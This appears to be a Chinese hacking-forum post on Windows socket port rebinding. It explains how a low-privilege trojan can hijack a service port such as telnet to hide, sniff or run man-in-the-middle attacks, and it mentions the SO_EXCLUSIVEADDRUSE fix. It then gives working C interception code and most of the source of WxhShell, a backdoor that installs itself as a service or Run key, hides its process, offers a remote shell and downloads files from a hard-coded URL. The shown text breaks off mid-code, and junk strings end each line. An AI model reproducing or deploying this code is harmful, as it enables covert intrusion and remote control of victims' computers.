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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f6#H@ X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -7`J(f.rYC  
4{R`  
  saddr.sin_family = AF_INET; n5 i}J/Sa2  
k8ck#%#}Wu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0 QpWt  
Z/x1?{z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yx-"YV}5  
-"<f(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E%e-R6gl  
B8&@Qc@~  
  这意味着什么?意味着可以进行如下的攻击: okv7@8U#p  
$_VD@YlAp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~RJg.9V  
mvw:E_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j oG>=o  
NplSkv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !9 F+uc5  
9p.>L8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f[RnL#*xJU  
t0q@] 0B5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7^L&YV W  
S]N4o'K}q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kel {9b=i  
PEWzqZ|!;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $Yka\tS'  
87Kx7CKF"  
  #include d !H)voX  
  #include :NL NxK  
  #include *O;N"jf  
  #include    tFwlx3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *}J_STM  
  int main() ka*UyW}  
  { yV. P.Q  
  WORD wVersionRequested; . ~<+  
  DWORD ret; |?> h$'  
  WSADATA wsaData; tu'MYY  
  BOOL val; l.BNe)1!22  
  SOCKADDR_IN saddr; (tgaH,G  
  SOCKADDR_IN scaddr; hq BRh+[  
  int err; 8n)Q^z+ K  
  SOCKET s; J3]m*i5A  
  SOCKET sc; 4Y!v$r  
  int caddsize; ;w>B}v;RE  
  HANDLE mt; <wC1+/]  
  DWORD tid;   yi OF&  
  wVersionRequested = MAKEWORD( 2, 2 ); ^kq!/c3r  
  err = WSAStartup( wVersionRequested, &wsaData ); ^wlep1D  
  if ( err != 0 ) { <'-me09C*  
  printf("error!WSAStartup failed!\n"); FuKNH~MevQ  
  return -1; _X[c19q  
  } J\V(MN,  
  saddr.sin_family = AF_INET; vpDs5tUl  
   hG^23FiN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,zFN3NLtA  
xpM~* Gpm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )N<!3yOz  
  saddr.sin_port = htons(23); >U)O@W)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J[l K  
  { H/$q]i*#K  
  printf("error!socket failed!\n"); J$;)TI  
  return -1; }>w4!  
  } 4Z] 35*  
  val = TRUE; T!PX?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 msylb~^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wu')Q/v  
  { 3fPv71NVtt  
  printf("error!setsockopt failed!\n"); #7=LI\  
  return -1; YLGLr @:q  
  } Q)>'fZ)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H<;j&\$q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MeX1y]<It  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @Xmk Im  
BXY'%8q _a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \Hd B   
  { F!{SeH:  
  ret=GetLastError(); '_)t R;s  
  printf("error!bind failed!\n"); c &HoS  
  return -1; qE}YVKV*  
  } 6ZBD$1$A!  
  listen(s,2); /`> P|J  
  while(1) $}$@)!-  
  { GHY>DrXO1u  
  caddsize = sizeof(scaddr); U4gJ![>5j  
  //接受连接请求 N3p3"4_]fy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rRYf.~UH@P  
  if(sc!=INVALID_SOCKET) c29Z1Zs2)  
  { S<~nk-xr*h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /5Loj&!=  
  if(mt==NULL)  4&D="GA  
  { @:B1  
  printf("Thread Creat Failed!\n"); \`ReZu$  
  break; qgNK!(kWpr  
  } =6&D4~R  
  } [2V/v  
  CloseHandle(mt); LS'=>s"  
  } 0 ,-b %X  
  closesocket(s); 7p6J   
  WSACleanup(); JuSS5_&  
  return 0; vuBA&j0C  
  }   *\",  qMp  
  DWORD WINAPI ClientThread(LPVOID lpParam) #cS,5(BM  
  { @XC97kGWp  
  SOCKET ss = (SOCKET)lpParam; |T*qAJ8c  
  SOCKET sc; R:N-y."La.  
  unsigned char buf[4096]; +ctv]'P_  
  SOCKADDR_IN saddr; K5&C}Ey1  
  long num; TzGm562o%  
  DWORD val; U.OX*-Cd  
  DWORD ret; +`-a*U94  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VWt'Kx"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i:ZA{hA`c  
  saddr.sin_family = AF_INET; Ah {pidUx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AW5g (  
  saddr.sin_port = htons(23); ;0}2@Q2@ZK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mC92J@m/L!  
  { PBtU4)  
  printf("error!socket failed!\n"); E e>j7k.G.  
  return -1; \DK*> k  
  } &,]+>  
  val = 100; D|9fHMg %  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dRm'$ G9  
  { j*d~h$[k  
  ret = GetLastError(); ^~ $&  
  return -1; u V7Hsg9l  
  } tYZGf xj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <9a_wGs  
  { bK9~C" k  
  ret = GetLastError(); Ws)X5C=A  
  return -1; A'iF'<%  
  } 30+l0\1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vfJk? (  
  { / LM  
  printf("error!socket connect failed!\n"); - oBas4J  
  closesocket(sc); yX3H&F6  
  closesocket(ss); )OC[;>F7  
  return -1; 3z92Gy5cr  
  } % T\N@  
  while(1) H^;S}<pxW  
  { U^BXCu1km  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2_n*u^X:_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3Lki7QW`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ok%!o+nk.  
  num = recv(ss,buf,4096,0); ;<@6f@  
  if(num>0) rq["O/2  
  send(sc,buf,num,0); lFGxW 5  
  else if(num==0) {))S<_ yN  
  break; OG7v'vmY  
  num = recv(sc,buf,4096,0); w*%$ lhp!  
  if(num>0) zB" `i  
  send(ss,buf,num,0); EZQ+HECpK  
  else if(num==0) ~PW}sN6ppG  
  break; hRIS [#z;U  
  } Gj8[*3d  
  closesocket(ss); 5|G3t`$pa  
  closesocket(sc); Z !25xqNCd  
  return 0 ; J?quYlS  
  } U9.=Ik  
&d3'{~:  
I@Z*Nu1L  
========================================================== np\2sa`  
*M<BPxh0w]  
下边附上一个代码,,WXhSHELL Dh(T) yc  
!riMIl1  
========================================================== f\_!N "HW  
[j]J_S9jJ  
#include "stdafx.h" ec4%Wk2  
]!G>8Rc  
#include <stdio.h> <`j[;>O  
#include <string.h> 2vdQ&H4  
#include <windows.h> *a,.E6C*  
#include <winsock2.h> |4> r"  
#include <winsvc.h> =#2qX> ?  
#include <urlmon.h> ZQ'  z  
W$Q)aA7  
#pragma comment (lib, "Ws2_32.lib") Nwl RPyt  
#pragma comment (lib, "urlmon.lib") *R\/#Y|  
xT?}wF  
#define MAX_USER   100 // 最大客户端连接数 _q$LrAT  
#define BUF_SOCK   200 // sock buffer 6+nMH +[  
#define KEY_BUFF   255 // 输入 buffer 8<wuH#2<y  
dF11Rj,~ 8  
#define REBOOT     0   // 重启 ^x"c0R^  
#define SHUTDOWN   1   // 关机 <ivqe"m  
p/WH#4Xdr  
#define DEF_PORT   5000 // 监听端口 4:eq{n  
Y:!/4GF  
#define REG_LEN     16   // 注册表键长度 xCp+<|1   
#define SVC_LEN     80   // NT服务名长度 ?~JxO/K  
MRg\FR 2>1  
// 从dll定义API T19rbL_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e(=~K@m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /z)3gsF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @S"pJeP/f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a3dzok  
Hl2f`GZ   
// wxhshell配置信息 CpRu*w{  
struct WSCFG { ~? FrI  
  int ws_port;         // 监听端口 +.(}u ,:8  
  char ws_passstr[REG_LEN]; // 口令 JdUz!=I  
  int ws_autoins;       // 安装标记, 1=yes 0=no r5!x,{E6  
  char ws_regname[REG_LEN]; // 注册表键名 ^o6)[_L  
  char ws_svcname[REG_LEN]; // 服务名 SXo[[ao  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OT}Yr9h4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O`[iz/7m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yEpN,A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $mI:Im`s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZA_zKJ[[7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nze1]3`  
g"!#]LLe  
}; ,;cel^.b  
}]g95xT  
// default Wxhshell configuration ]Z$TzT&@%  
struct WSCFG wscfg={DEF_PORT, (O_t5<A*X  
    "xuhuanlingzhe", 2Z;`#{  
    1, mU3Y)  
    "Wxhshell", +)JNFy-  
    "Wxhshell", '/u:,ar  
            "WxhShell Service", `gt&Y-  
    "Wrsky Windows CmdShell Service", or%gTVZ  
    "Please Input Your Password: ", >1a \ %G  
  1, @W1WReK]f  
  "http://www.wrsky.com/wxhshell.exe", tFvgvx\:  
  "Wxhshell.exe" }} ``~  
    }; PJK]t7vp  
fY%M=,t3c  
// 消息定义模块 Z.aLk4QO@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q k;Kn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *qO]v9 j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qJ X+[PJ  
char *msg_ws_ext="\n\rExit."; B3cf] S%  
char *msg_ws_end="\n\rQuit."; R?bn,T>  
char *msg_ws_boot="\n\rReboot..."; ~.W=  
char *msg_ws_poff="\n\rShutdown..."; Wd^lt7(j  
char *msg_ws_down="\n\rSave to "; OC?Zw@  
18O@ 1M  
char *msg_ws_err="\n\rErr!"; '"xL}8HX}  
char *msg_ws_ok="\n\rOK!"; 4j. |Y  
qu<B%v  
char ExeFile[MAX_PATH]; >w2Q 1!  
int nUser = 0; (zS2Ndp  
HANDLE handles[MAX_USER]; ^.@yF;H  
int OsIsNt; |C$:]MZx  
4V228>9w  
SERVICE_STATUS       serviceStatus; = GH@.3`X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tKG;k"wk  
o <D3Y95b  
// 函数声明 7wiK.99  
int Install(void); Q\o$**+{  
int Uninstall(void); l$qStL*8O  
int DownloadFile(char *sURL, SOCKET wsh); YeRcf`  
int Boot(int flag); }>{ L#JW  
void HideProc(void); BN\fv,  
int GetOsVer(void); u\()E|?p  
int Wxhshell(SOCKET wsl); ERfd7V<c>  
void TalkWithClient(void *cs); VMxYZkMNd_  
int CmdShell(SOCKET sock); C!ZI&cD9  
int StartFromService(void); tp1KP/2w[  
int StartWxhshell(LPSTR lpCmdLine); (XbMrPKG  
FylWbQU9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /'Qu u)~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *=$[}!YG  
/'&.aGW4%  
// 数据结构和表定义 *Nv y+V  
SERVICE_TABLE_ENTRY DispatchTable[] = k_*XJ<S!Y  
{ CF3E]dt  
{wscfg.ws_svcname, NTServiceMain}, ~@[(N]=q  
{NULL, NULL} '?{0z!!  
};  /,1SE(  
hi;WFyJTu  
// 自我安装 <CNE>@-f  
int Install(void) 4NpHX+=P  
{ T>\nWancQM  
  char svExeFile[MAX_PATH]; %PQldPL8  
  HKEY key; u;+%Qh  
  strcpy(svExeFile,ExeFile); ?G4iOiyt  
c&Gz> L  
// 如果是win9x系统,修改注册表设为自启动 kF(Ce{;z  
if(!OsIsNt) { K,x$c %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tr}KPdE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K[Y c<Q  
  RegCloseKey(key); z3^RUoGU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X+`ddX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -@%t"8  
  RegCloseKey(key); U9<_6Bsd  
  return 0; _-@ZOhw&  
    } n\Z^K  
  } tv 4s12&  
} Fy 4Tvg  
else { *oEv,I_  
`j"4:  
// 如果是NT以上系统,安装为系统服务 ]{K5zSK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /;(<fh<bY  
if (schSCManager!=0) * T JBPM,  
{ H<V+d^qX\w  
  SC_HANDLE schService = CreateService _wm~}_Q  
  ( $!3gN%  
  schSCManager, ky'|Wk6   
  wscfg.ws_svcname, }7iUagN  
  wscfg.ws_svcdisp, zo_k\K`{@  
  SERVICE_ALL_ACCESS, ijvNmn1k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r@|R-Binz  
  SERVICE_AUTO_START, T1lXYhAWS  
  SERVICE_ERROR_NORMAL, ISpeV  
  svExeFile, e ZynF<i  
  NULL, :6 Uk)   
  NULL, ! (B_EM  
  NULL, !aQIh  
  NULL, d>^~9X  
  NULL 5>'?:jY  
  ); fkW3~b  
  if (schService!=0) nURvy}<r  
  { y!S^xS  
  CloseServiceHandle(schService); VKT@2HjNT`  
  CloseServiceHandle(schSCManager); V)2"l"Kt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +7Sf8tg\  
  strcat(svExeFile,wscfg.ws_svcname); &\&'L|0F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GMEw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `ifb<T  
  RegCloseKey(key); :_MP'0QP  
  return 0; ?O!]8k`1$  
    } I_:t}3s  
  } uPFRh~ (b  
  CloseServiceHandle(schSCManager);  G5!|y#T  
} B`LD7]ew  
} >-VWm A  
~;}\zKQKE  
return 1; UV?[d:\>'  
} =ZG<BG_  
Er`TryN|}  
// 自我卸载 nARxn#<+  
int Uninstall(void) XQK^$Iq]V  
{ A)OdQFet(  
  HKEY key; qO7fbql_  
1W*V2`0>  
if(!OsIsNt) { h{\t*U 54'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DD2adu^  
  RegDeleteValue(key,wscfg.ws_regname); )i&%cyZw  
  RegCloseKey(key); \'[3^/('  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :}^Rs9 '  
  RegDeleteValue(key,wscfg.ws_regname); GNs#oM  
  RegCloseKey(key); -y%QRO(  
  return 0; w"q-#,37j  
  } ot^q}fRX  
} OSU{8.  
} 6e*%\2UA  
else { jh>N_cp  
z|uOJ0uK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]n~yp5Nbr  
if (schSCManager!=0) eUYZxe :6  
{ P_Z M'[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P2O\!'aEh  
  if (schService!=0) uG4$2  
  { O97VdNT8  
  if(DeleteService(schService)!=0) { -48`#"xy  
  CloseServiceHandle(schService);  Kr S  
  CloseServiceHandle(schSCManager); wc"9A~  
  return 0; VXiui'/(  
  } M Z2^@It  
  CloseServiceHandle(schService); Ys-^7 y_  
  } -jFP7tEv  
  CloseServiceHandle(schSCManager); $Ru&>D#stK  
} [@ILc*2O  
} ebzzzmwo  
 1y 7y0V  
return 1; X|,["Az 8  
} Pv~:gP  
)5U !>,fT  
// 从指定url下载文件 XWJ SLN(O  
int DownloadFile(char *sURL, SOCKET wsh) 2bkJ /u`i  
{ ;r3}g"D@  
  HRESULT hr; tp@*=*^I  
char seps[]= "/"; ~H7!MC~K  
char *token; ]}.0el{  
char *file; VXA[ TIqp  
char myURL[MAX_PATH]; f#1/}Hq/I  
char myFILE[MAX_PATH]; Cc2MYm8  
:Pc(DfkS  
strcpy(myURL,sURL); Vu=] O/ =P  
  token=strtok(myURL,seps); aFyh,  
  while(token!=NULL) ,}KwP*:Z  
  { -U7,k\g  
    file=token; k; ;viT  
  token=strtok(NULL,seps); fSbS(a  
  } u >4ArtF  
#vtN+E  
GetCurrentDirectory(MAX_PATH,myFILE); w#sq'vo4%  
strcat(myFILE, "\\"); V n^)  
strcat(myFILE, file); Zd$JW=KR]l  
  send(wsh,myFILE,strlen(myFILE),0); J||E;=%f-Q  
send(wsh,"...",3,0); oooS s&t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6s5yyy=L%~  
  if(hr==S_OK) +^Fp&K+^  
return 0; X PA 0m  
else ;>8kPG  
return 1; @cPflb  
Vu%n&uF  
} Y KY2Cw  
rmsQt  
// 系统电源模块 0 k9<&  
int Boot(int flag) q~j)W$k  
{ se#@)LtZ  
  HANDLE hToken; &~'S)Nun  
  TOKEN_PRIVILEGES tkp; i*'Z3Z)  
;?zF6zvQ  
  if(OsIsNt) { 07FT)QTE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fCg@FHS&^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HAd%k$Xu{  
    tkp.PrivilegeCount = 1; `UQEXoB)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XC2FF&B&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,m:L2 -J@  
if(flag==REBOOT) { Ch t%uzb,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jr]gEBX  
  return 0; *!w25t  
} 68p R:  
else { ] opto  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jQ|:I7y  
  return 0; e?P%wqB  
} }3J=DCtS  
  } eIJ[0c b}  
  else { z+ ZG1\  
if(flag==REBOOT) { Lc%xc`n8B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e^8BV;+c  
  return 0; )b9_C O}  
} r8,om^N6  
else { 4gb'7'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y& 5.9 s@'  
  return 0; YQ7@D]#  
} Fm5Q&'`l  
} ?!y"OrHg  
j`9Qzi1  
return 1; U <rI!!#9  
} Pj&A=  
r**f,PDZ  
// win9x进程隐藏模块 Bzw19S6y  
void HideProc(void) {[P!$ /  
{ M*(H)i;s:w  
\7 Gz\=\LR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1O0X-C,wo$  
  if ( hKernel != NULL ) uXpv*i {R  
  { ' %&z.{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @vt$MiOi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~j"3}wXc5  
    FreeLibrary(hKernel); 'fn$'CeM(  
  } WqQU@sA  
#w|5 jN?  
return; dlR_ckp  
} Zi*%*nX  
qnXTNs ?b  
// 获取操作系统版本 |IN[uQ  
int GetOsVer(void) d@ (vg  
{ QD4:W"i  
  OSVERSIONINFO winfo; o0mJy'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yLqF ,pvO  
  GetVersionEx(&winfo); b i~=x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +GeWg` \=  
  return 1; `*k@4.J{  
  else 'Wp @b678  
  return 0; \0&SI1Yp  
} ?4[NNL  
RB;BQoGX  
// 客户端句柄模块 \=fh-c(J,  
int Wxhshell(SOCKET wsl) q:]Q% IC^  
{ OaaH$B  
  SOCKET wsh; D5L{T+}Oi%  
  struct sockaddr_in client; i*CnoQH  
  DWORD myID; 5\'AD^{  
d.AC%&W  
  while(nUser<MAX_USER)  :,~K]G  
{ E}YI WTX  
  int nSize=sizeof(client); 9!#EwPD$#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n[CoS  
  if(wsh==INVALID_SOCKET) return 1; M*`hDdS  
y/tSGkMv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $r15gfne>  
if(handles[nUser]==0) F0.zi>5  
  closesocket(wsh); &d,Wy"WPi  
else ;==j|/ERe  
  nUser++; JD lBVZ!  
  } ) rpq+~b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3{RL \gh$"  
`eD1|Go9  
  return 0; T8Na]V5  
} K<RqBecB  
x0<^<D&Q  
// 关闭 socket +|&0fGv;d9  
void CloseIt(SOCKET wsh) 6bL~6-h%)  
{ |,sM ST%  
closesocket(wsh); $^h?:L:1n  
nUser--; ti2  
ExitThread(0); Ct!S Tk[2  
} !*vBW/  
vD26;S.y[a  
// 客户端请求句柄 X"<|Z]w  
void TalkWithClient(void *cs) {[^#h|U  
{ Ep ">v>"  
bV6V02RF  
  SOCKET wsh=(SOCKET)cs; 2 Y+:,ud\  
  char pwd[SVC_LEN]; ri=+(NKo-  
  char cmd[KEY_BUFF]; >rf5)Y~f  
char chr[1]; GFL-.? 0  
int i,j; i/$SN-5}1  
,YB1 y)x  
  while (nUser < MAX_USER) { |^Kjz{  
7I >J$"  
if(wscfg.ws_passstr) { u)~s4tP4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]w[ThHRJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A*i_|]Q  
  //ZeroMemory(pwd,KEY_BUFF); *eGM7o*\X  
      i=0; 8x{Hg9  
  while(i<SVC_LEN) { BIfi:7I;Q  
CDCC1BG"  
  // 设置超时 G Y-M.|%  
  fd_set FdRead; RxG^  
  struct timeval TimeOut; z<<Tk.65  
  FD_ZERO(&FdRead); Gru ALx7  
  FD_SET(wsh,&FdRead); c;!9\1sr  
  TimeOut.tv_sec=8; 3.),bm  
  TimeOut.tv_usec=0; 4f {+pf^R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c0[k T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zi{0-m6+  
?\ Q0kr.T%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k ,fTW^?  
  pwd=chr[0]; i!,HB|wQ  
  if(chr[0]==0xd || chr[0]==0xa) { Ekjf^Uo  
  pwd=0; _B$"e[:yX  
  break; =bL{i&&  
  } . #U}q 7X  
  i++; 0p3vE,pF  
    } '{VM> Q  
ea~i-7  
  // 如果是非法用户,关闭 socket XA3s],Rk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [hnK/4!  
} r\xXU~$9v  
KY+]RxX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o0`q#>7!_b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j04/[V)  
x+:zq<0|  
while(1) { Kv?;cu!  
@a(oB.i  
  ZeroMemory(cmd,KEY_BUFF); t?3BCm$Mi  
?D=8{!R3  
      // 自动支持客户端 telnet标准   gp/YjUH7k8  
  j=0; n(R_#,Hs  
  while(j<KEY_BUFF) { sFElD ]|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )eR$:uO  
  cmd[j]=chr[0]; x)R0F\_  
  if(chr[0]==0xa || chr[0]==0xd) { ?v.Gn9Z&  
  cmd[j]=0; woau'7}XOu  
  break; 9p*-?kPb  
  } c[5@ \j\  
  j++; 'vlrc[|/  
    } q[c Etp28h  
N^J*!]|  
  // 下载文件 9h&yuS'Yj  
  if(strstr(cmd,"http://")) { NvHN -^2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X9~p4ys9{  
  if(DownloadFile(cmd,wsh)) {^m5#f 0"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P(;Mb{  
  else ]o*$h$?s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )4ncutb  
  } O<X )p`,`  
  else { 38wq (  
sX'nn   
    switch(cmd[0]) { *#h;c1aP  
  3 Gd|YRtk  
  // 帮助 (\& 62B1  
  case '?': { Vp7b4n<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fu##'#  
    break; @L8;VSI  
  } Z4@y?f v7s  
  // 安装 xA-jvu9@  
  case 'i': { 0;cuX@A/a?  
    if(Install()) qZbHMTnT6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e5OVq ,  
    else *"T+G*~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;)|nkI  
    break; dz,+tR~  
    } jw4TLc7p  
  // 卸载 OjATSmZ@@  
  case 'r': { FmI;lVF0j  
    if(Uninstall()) <kbnu7?a*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Py3I9  
    else D|TR!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b1)\Zi  
    break; veO?k.u(  
    } V16%Ne  
  // 显示 wxhshell 所在路径 61,O%lV  
  case 'p': { O 6]u!NqG  
    char svExeFile[MAX_PATH]; ]_ #SAhOR)  
    strcpy(svExeFile,"\n\r"); gh61H:tkR  
      strcat(svExeFile,ExeFile); iNLDl~uU  
        send(wsh,svExeFile,strlen(svExeFile),0); pVz*ZQ[]  
    break; PWG;&ma  
    } 7LdzZS0OM  
  // 重启 K?YEoz'y[  
  case 'b': { {aIZFe}B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y@ .b 4  
    if(Boot(REBOOT)) FfSI n3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r=\P!`{5  
    else { `oXg<tivU  
    closesocket(wsh); t= *Jg/$  
    ExitThread(0); Hz?,#>{  
    } O{BW;Deo  
    break; %rXexy!V  
    } ArX]L$ D  
  // 关机 yxY h?ka  
  case 'd': { +wAp,Xr  
